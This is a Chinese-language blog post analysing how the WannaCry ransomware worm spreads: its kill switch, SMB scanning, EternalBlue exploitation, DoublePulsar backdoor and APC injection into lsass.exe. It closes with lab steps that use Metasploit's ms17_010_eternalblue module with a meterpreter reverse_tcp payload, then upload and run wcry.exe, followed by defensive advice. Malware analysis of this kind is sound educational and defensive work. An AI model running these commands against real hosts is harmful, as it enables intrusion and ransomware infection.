前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[系统安全] 三十.WannaCry勒索病毒分析 (4)全网“最”详细的蠕虫传播机制解读

[系统安全] 三十.WannaCry勒索病毒分析 (4)全网“最”详细的蠕虫传播机制解读

作者头像
Eastmount
发布2021-12-03 09:36:37
5.3K0
发布2021-12-03 09:36:37
举报
文章被收录于专栏:Python和安全那些事

前文分享了深信服老师的《外部威胁防护和勒索病毒对抗》,带领大家看看知名安全厂商的威胁防护措施。这篇文章将详细讲解WannaCry蠕虫的传播机制,带领大家详细阅读源代码,分享WannaCry勒索病毒是如何传播感染的。希望文章对您有所帮助~

如果想面试病毒分析工程师或逆向分析工程师,WannaCry的传播机理是常考的一个知识点,也希望能帮助到那部分同学。而且其强大的功能作者尽最大努力去叙述,只希望能帮助更多该领域的读者,也希望Github关注点赞一波。感恩同行,不负遇见。

  • 主程序文件利用漏洞传播蠕虫,运行WannaCry勒索程序
  • WannaCry勒索程序释放tasksche.exe,对磁盘文件进行加密勒索
  • @WanaDecryptor@.exe显示勒索信息,运行TOR客户端

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力

文章目录:

  • 一.WannaCry背景
  • 二.WannaCry传播机制源码详解 1.WannaCry蠕虫传播流程 2.程序入口Start 3.域名开关WinMain 4.参数判断sub_408090 5.蠕虫安装流程sub_407F20 6.蠕虫服务传播流程sub_4080000 7.蠕虫初始化操作sub_407B90 8.局域网传播sub_407720 9.公网传播sub_407840 10.漏洞检测及创建通信连接sub_407540 11.发送SMB数据包sub_4072A0 12.获取Payload(dll+shellcode) 13.提取shellcode 14.shellcode分析之安装后门 15.shellcode分析之APC注入 16.dll导出及分析 17.释放资源tasksche.exe 18.勒索行为
  • 三.WannaCry实验复现 1.实验环境搭建 2.Kali利用MS17-010反弹Shell
  • 四.防御措施
  • 五.总结

从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵! 接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

作者的github资源:

  • 逆向分析: https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
  • 网络安全: https://github.com/eastmountyxz/ NetworkSecuritySelf-study

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)

一.WannaCry背景

2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元。

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry蠕虫进行感染,并作为攻击机再次扫描互联网和局域网的其他机器,形成蠕虫感染大范围超快速扩散。

其核心流程如下图所示:

  • 木马母体为mssecsvc.exe,运行后会扫描随机IP的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe,对磁盘文件进行加密勒索。
  • 木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每个文件使用一个随机密钥,理论上不可攻破。同时@WanaDecryptor@.exe显示勒索界面。

WannaCry勒索病毒主要行为是传播和勒索。

传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播

勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;加密文件;设置桌面背景、窗体信息及付款账号等。

二.WannaCry传播机制详解

WannaCry蠕虫主要分为两个部分:蠕虫部分用于病毒传播,并释放出勒索程序;勒索部分用于加密用户文件索要赎金。

1.WannaCry蠕虫传播流程

WannaCry运行的整体流程推荐安天公司的框架图,如下图所示:

其中,图中上半部分为WannaCry蠕虫的传播部分,该蠕虫通过网络进行传播,有自我复制和传播迅速等特点。传播步骤如下:

(1) 连接远程域名开关 (2) 判断参数个数,选择蠕虫安装流程或服务传播流程

作者的分析工具主要是IDA Pro静态分析和OllyDbg动态调试,大家分析恶意样本一定在虚拟机中,并做好相关安全保护(如断网、物理隔离、共享协议端口关闭等)。

2.程序入口Start

通过OD打开样本wcry.exe,发现程序入口地址为0x00409A16,对应start()函数。

通过一些初始化设置,紧接着会调用WinMain()函数进入主程序。

主程序调用关系如下图所示,调用地址为0x00409B45。

3.域名开关WinMain

主程序运行后会先连接域名(KillSwitch):

hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

  • 如果该域名连接成功,则直接退出且不触发任何恶意行为
  • 如果该域名无法访问,则触发传播勒索行为,执行sub_408090函数

该代码会调用InternetOpenUrl打开对应的网址,并根据其访问情况执行不同的操作。

  • 如果网址无法访问,会调用sub_408090()函数创建蠕虫服务。这也意味着如果蠕虫作者注册并访问了该URL,WannaCry蠕虫也就停止了传播。目前该域名已被英国的安全公司接管,网上怀疑该操作能有效防止在线沙箱检测。

4.参数判断sub_408090

接着进入sub_408090函数,通过判断参数个数来执行相应的流程。

  • sub_407F20函数 当参数<2,进入蠕虫安装流程
  • sub_408000函数 当参数≥2,进入蠕虫服务传播流程并创建mssecsvc2.0服务

该函数调用了相关的API函数,比如创建服务(OpenSCManagerA)、打开服务(OpenServiceA)等。

  • 当我们直接运行wcry.exe时,传递的参数是1(程序本身),则进入蠕虫安装程序;当我们传递参数3(程序本身、二进制程序、服务参数)时,则进入蠕虫服务传播流程。

mssecsvc2.0服务对应的数据部分如下图所示,该服务会伪装成微软安全中心的服务,服务的二进制文件路径为当前进程文件路径,参数为“-m security”。

OD动态调试如下图所示,包括调用CALL访问函数,将服务PUSH入栈等。

5.蠕虫安装流程sub_407F20

蠕虫安装流程主要调用sub_407F20函数,包括sub_407C40和sub_407CE0。

(1) sub_407C40:创建mssecsvc2.0服务,并启动该服务,参数为”-m security”,蠕虫伪装为微软安全中心。

(2) sub_407CE0:读取并释放资源tasksche.exe至C:\Windows路径,创建线程运行。

主要调用的函数包括GetProcAddress、MoveFileEx、CreateFile等。

动态调用过程如下图所示:

释放的C:\Windows\tasksche.exe效果如下图所示:

6.蠕虫服务传播流程sub_4080000

当参数≥2时,蠕虫执行服务传播流程,调用sub_4080000实现,其代码如下:

sub_4080000会打开mssecsvc2.0服务并设置其状态,服务设置函数包括:

  • RegisterServerCtrlHandlerA
  • SetServiceStatus

动态分析过程如下图所示:

核心函数是sub_407BD0,它的功能包括:

  • 初始化操作
  • 局域网传播
  • 公网传播

7.蠕虫初始化操作sub_407B90

蠕虫初始化操作主要调用sub_407B90函数实现,具体功能包括:

  • WSAStartup:初始化网络
  • sub_407620:初始化密码
  • sub_407A20:获取Payload

函数WSAStartup主要是进行相应的Socket库绑定。函数原型如下:

继续调用sub_407A20函数从内存中读取MS17-010漏洞利用代码,Payload分为x86和x64两个版本,32位大小为0x4060,64位大小为0xc8a4。

8.局域网传播sub_407720

蠕虫初始化操作后,会生成两个线程,分别进行局域网和公网传播。

代码语言:javascript
复制
result = sub_407B90
v1 = (void *)beginthreadex(0, 0, sub_407720, 0, 0, 0)
v3 = (void *)beginthreadex(0,0, sub_407840, v2, 0, 0)

局域网传播:

  • 蠕虫根据用户内网IP,生成覆盖整个局域网网段表,然后循环尝试攻击

这里存在一个疑问:你怎么能确定v1是局域网传播,而v3是外网传播呢?

  • 在函数sub_407720中,会继续调用线程执行sub_4076B0函数。同时,函数如果同时调用10个以上IP地址,会执行Sleep暂停100毫秒(1秒=1000毫秒)。

核心函数:sub_4076B0

  • 函数sub_407720会调用函数sub_409160,接着调用GetAdaptersInfo获取网卡配置和IP地址详细信息,最终进行局域网IP地址拼接和传播。
  • 而外网传播的IP地址是通过四个随机数产生的,通过这些差异就能判断是局域网传播还是外网传播。

函数sub_4076B0会连接445端口,如果445端口连接成功,接着发起漏洞攻击。如果连接超过10分钟则终止该线程。

接下来调用sub_407540函数发起漏洞攻击。

  • 核心函数:sub_407540

9.公网传播sub_407840

公网传播:公网IP地址通过4个随机数拼接而成,然后循环尝试攻击。

sub_407840函数:

  • 生成四个随机数,然后调用aDDDD进行IP拼接,表示成%d.%d.%d.%d。0xFF表示255,对应最大地址,v8余数不等于127内网。接着调用sub_407540函数进行外网传播。

在sub_407840函数中,继续调用线程执行sub_407540函数,该函数为漏洞利用核心函数。

10.漏洞检测及创建通信连接sub_407540

IP地址拼接好后,会创建漏洞利用线程,调用sub_407540函数。

第一步:检测目标是否可以安装双星脉冲DOUBLEPULSAR(端口445)

如果需要,后续可以分享一篇永恒之蓝和双星脉冲相关知识。

第二步:利用MS17-010漏洞,尝试建立通信连接并发送漏洞利用程序数据包

通过connet建立Socket通信连接,再调用send和recv进行数据包握手确认。最后会调用核心函数sub_406F50。

11.发送SMB数据包sub_4072A0

建立通信连接(connect、send、recv),发送利用Eternalblue的蠕虫SMB数据包。具体流程包括:(还需进一步分析)

12.获取Payload(dll+shellcode)

样本在利用漏洞MS17-010获取目标主机权限后,并不会直接发送蠕虫自身到目标,而是发送一段经过简单异或加密后的Payload到目标机器中执行。

在sub_4077A0函数中,v7是系统标记,当v7等于1时表示32位操作系统,当v7等于0时表示64位操作系统。

核心函数:sub_406F50(发送Payload)

Payload由shellcode和包含样本自身的dll组成,Payload分为64位与32位,函数sub_406F50如下图所示。

  • 32位shellcode起始地址0x42E758
  • 64位shellcode起始地址0x42FA60

dll同样分为64位与32位版本,根据目标主机系统的不同,读取不同版本的dll

  • 32位dll起始地址0x40B020,大小为0x4060字节
  • 64位dll起始地址0x40F080,大小为0xc8a4字节

Shellcode相关信息

  • 32位shellcode起始地址0x42E758,大小为0x1305字节
  • 64位shellcode起始地址0x42FA60,大小为0x1800字节

13.提取shellcode

对应的反汇编代码如下,包括x64_payload_addr、x86_payload_addr。

32位Shellcode获取:

  • 0x42E758~0x42FA5D

64位Shellcode提取:

  • 0x42FA60~0x43125F

14.shellcode分析之安装后门

Shellcode反汇编及功能分析如下:

第一部分:安装后门

第二部分:利用安装的后门,APC向应用程序注入dll

shellcode部分作者还需要进一步研究,加油~

安装后门主要执行sub_401370函数,在远程电脑上安装双星脉冲DOUBLEPULSAR后门。

15.shellcode分析之APC注入

参考两篇文章: [原创]WannaCry勒索软件中“永恒之蓝”漏洞利用分析 - 展博 [原创]通过Wannacry分析内核shellcode注入dll技术 - dragonwang

shellcode第二部分是利用安装的后门,APC向应用程序注入dll。

(1) 查找ntoskrnl.exe基地址 首先找到gs[38]处的_KIDTENTRY64指针,在KIDTENTRY64的偏移4,得到中断处理的函数指针,这个地址在ntoskrnl.exe中,我们就找到了ntoskrnl.exe的地址空间,然后去地址空间的页头地址对比PE头MZ,找到则函数返回。

(2) 获取Hash计算方法

  • 需要使用的函数并没有硬编码写到程序里,而是硬编码了这些函数的hash值。所以我们需要首先知道函数编码和hash值得对应关系。Hash计算方法如下,用c++代码注释了一下。

(3) 根据ntoskrnl.exe基地址、函数hash字符查找导出函数地址

find_func函数如下,有了ntoskrnl.exe所有导出函数hash对照表,整个程序流程就明朗了。

(4) 查找需要用到ntoskrnl.exe导出函数地址并保存备用

(5) 查找目标进程,通过hash编码782BF0E7h进程名查找(lsass.exe)

  • 查找目标进程,通过hash编码782BF0E7h进程名查找,直接没找到“lsass.exe”,查找方法是使用pid暴力查找。具体通过pid调用PsLookupProcessByProcessId得到pEProcess结构指针,再通过pEProcess调用PsGetProcessImageFileName得到进程名。

(6) 使用查到导出函数的地址,并进行APC注入

  • APC注入,使用查到导出函数的地址,注释见截图。第六个参数包含了第三层shellcode和dll代码,可自行dump出研究,第七个参数指定为usermode。

(7) 最后将shellcode自身以及其所分配的内存清0

内核部分的注入代码主要流程就分析完了,到用户层的shellcode自己实现的一个pe loader而没有使用LoadLibary,这样使得注入更加隐蔽,查询PEB_LDR_DATA的也查不到被注入了dll。

16.dll导出及分析

shellcode使用APC注入将生成的dll注入到系统进程lsass.exe,导出的dll文件如下图所示:

火绒剑检测结果如下,通过APC注入将生成的dll注入到系统进程lsass.exe,接着释放资源mssecsvc.exe,最后释放勒索程序tasksche.exe。

17.释放资源tasksche.exe

dll具有一个导出函数PlayGame,它会将母体程序释放到被攻击的计算机,保存为C:\WINDOWS\mssecsvc.exe并执行。

下面是作者分析导出的dll静态代码,主函数PlayGame。

PlayGame包括两个核心函数:sub_180001014和sub_1800010F8。

  • sub_180001014:释放资源
  • sub_1800010F8:运行文件

最后释放资源tasksche.exe(勒索加密程序)到C:\WINDOWS目录下,并将其启动。

被攻击的计算机包含蠕虫的完整功能,除了会被勒索,还会继续使用MS17-010漏洞进行传播,这种传播呈几何级向外扩张,也是该蠕虫短时间内大规模爆发的主要原因。

18.勒索行为

勒索行为之前的文章已经进行了还原

运行病毒程序后的界面如下图所示,已经成功被勒索。再次强调,所有代码必须在虚拟机中执行,并且关闭文件共享。

样本的解压密码是WNcry@2ol7,通过资源工具也可以查看到。解压后的文件结构如下:

msg文件夹下就是所有的语言包。

其他文件内容如下,下一篇文章会详细介绍勒索原理。

四.WannaCry实验复现

1.实验环境搭建

实验环境:

  • 攻击机: Kali-linux-2019.2 IP:192.168.44.138
  • 受害主机: Win7 64位 IP:192.168.44.147

实验工具:

  • metasploit
  • MS17-010
  • Wcry.exe

实验步骤:

  • 配置Windows Server 2003、Kali、Windows7实验环境
  • Kali检测受害主机445端口(SMB协议)是否开启
  • 运行EternalBlue永恒之蓝漏洞(MS17-010)反弹shell
  • 上传勒索病毒wcry.exe并运行
  • 实现勒索和文件加密

切记、切记、切记:实验复现过程中必须在虚拟机中完成,运行前关闭虚拟机Win7文件共享,真机上一旦被感染你就真的只能想哭了(wannacry)。同时,该实验仅作病毒机理和防御分析,了解原理更好地保护计算机,切勿攻击他人,否则后果自负。

第一步,创建虚拟机并安装Windows7 x64位操作系统。Win7设置开启445端口,同时关闭防火墙。注意,关闭虚拟机文件共享功能。

第二步,保证攻击机和受害机相互通讯,均在同一个局域网中。

2.Kali利用MS17-010反弹Shell

第一步,扫描靶机是否开启445端口。

  • nmap -sS 192.168.44.147

第二步,打开msfconsole并查询MS17-010漏洞模块。 这里有各种MS17-010漏洞版本,我们根据目标系统选择编号为3的版本。推荐读者看看NSA泄露的方程式工具包,其中永恒之蓝(eternalblue)就是著名的漏洞。

  • msfconsole
  • search ms17-010

第三步,利用永恒之蓝漏洞并设置参数。

  • use exploit/windows/smb/ ms17_010_eternalblue 利用永恒之蓝漏洞
  • set payload windows/x64/ meterpreter/reverse_tcp 设置payload
  • set LHOST 192.168.44.138 设置本机IP地址
  • set RHOSTS 192.168.44.147 设置受害主机IP
  • set RPORT 445 设置端口445,注意该端口共享功能是高危漏洞端口,包括之前分享的139、3389等
  • exploit 利用漏洞

第四步,成功获取Win7系统管理员权限。

  • getuid 返回系统管理员权限
  • pwd、ls 查看当前路径及目录

第五步,上传勒索病毒至Win7系统。再次强调,虚拟机中运行该实验,并且关闭文件共享功能。

  • shell
  • upload /root/wcry.exe c:\

第六步,运行勒索病毒,实验复现成功。 运行前的受害主机界面如下图所示:

再次强调,所有代码必须在虚拟机中执行,并且关闭文件共享。

加密系统中的文件,被加密的文件后缀名统一修改为“.WNCRY”。其原理第二部分详细介绍。

  • b.wnry: 中招敲诈者后桌面壁纸
  • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
  • f.wnry: 可免支付解密的文件列表
  • r.wnry: 提示文件,包含中招提示信息
  • s.wnry: zip文件,包含Tor客户端
  • t.wnry: 测试文件
  • u.wnry: 解密程序

四.防御措施

勒索软件防御常见的措施如下:

  • 开启系统防火墙
  • 关闭445、139等端口连接
  • 开启系统自动更新,下载并更新补丁,及时修复漏洞
  • 安装安全软件,开启主动防御拦截查杀
  • 如非服务需要,建议把高危漏洞的端口都关闭,比如138、139、445、3389等

由于WannaCry勒索病毒主要通过445端口入侵计算机,关闭的方法如下:

  • 控制面板–>windows防火墙—>高级选项–>入站规则
  • 新建规则–>选择端口–>指定端口号445
  • 选择阻止连接–>配置文件全选–>规则名称–>成功关闭

实验在虚拟机中进行,也需要关闭共享文件夹功能,如下图所示。

五.总结

写到这里,这篇文章就介绍完毕。主要讲解了WannaCry蠕虫的传播机制,也是作者一个月的研究成果,感觉是全网WannaCry蠕虫传播部分最详细的一篇文章了。最后,感觉自己真的好菜,但也需要加油,希望您喜欢这篇文章~

  • WannaCry蠕虫传播流程
  • 程序入口Start
  • 域名开关WinMain
  • 参数判断sub_408090
  • 蠕虫安装流程sub_407F20
  • 蠕虫服务传播流程sub_4080000
  • 蠕虫初始化操作sub_407B90
  • 局域网传播sub_407720
  • 公网传播sub_407840
  • 漏洞检测及创建通信连接sub_407540
  • 发送SMB数据包sub_4072A0
  • 获取Payload(dll+shellcode)
  • 提取shellcode
  • shellcode分析之安装后门
  • shellcode分析之APC注入
  • dll导出及分析
  • 释放资源tasksche.exe
  • 勒索行为

原文地址:

  • https://blog.csdn.net/Eastmount/article/details/114649732

这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

前文回顾(下面的超链接可以点击喔):

2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,谢谢。2021年继续加油!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 娜璋AI安全之家 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一.WannaCry背景
  • 二.WannaCry传播机制详解
    • 1.WannaCry蠕虫传播流程
      • 2.程序入口Start
        • 3.域名开关WinMain
          • 4.参数判断sub_408090
            • 5.蠕虫安装流程sub_407F20
              • 6.蠕虫服务传播流程sub_4080000
                • 7.蠕虫初始化操作sub_407B90
                  • 8.局域网传播sub_407720
                    • 9.公网传播sub_407840
                      • 10.漏洞检测及创建通信连接sub_407540
                        • 11.发送SMB数据包sub_4072A0
                          • 12.获取Payload(dll+shellcode)
                            • 13.提取shellcode
                              • 14.shellcode分析之安装后门
                                • 15.shellcode分析之APC注入
                                  • 16.dll导出及分析
                                    • 17.释放资源tasksche.exe
                                      • 18.勒索行为
                                      • 四.WannaCry实验复现
                                        • 1.实验环境搭建
                                          • 2.Kali利用MS17-010反弹Shell
                                          • 四.防御措施
                                          • 五.总结
                                          相关产品与服务
                                          脆弱性检测服务
                                          脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
                                          领券
                                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档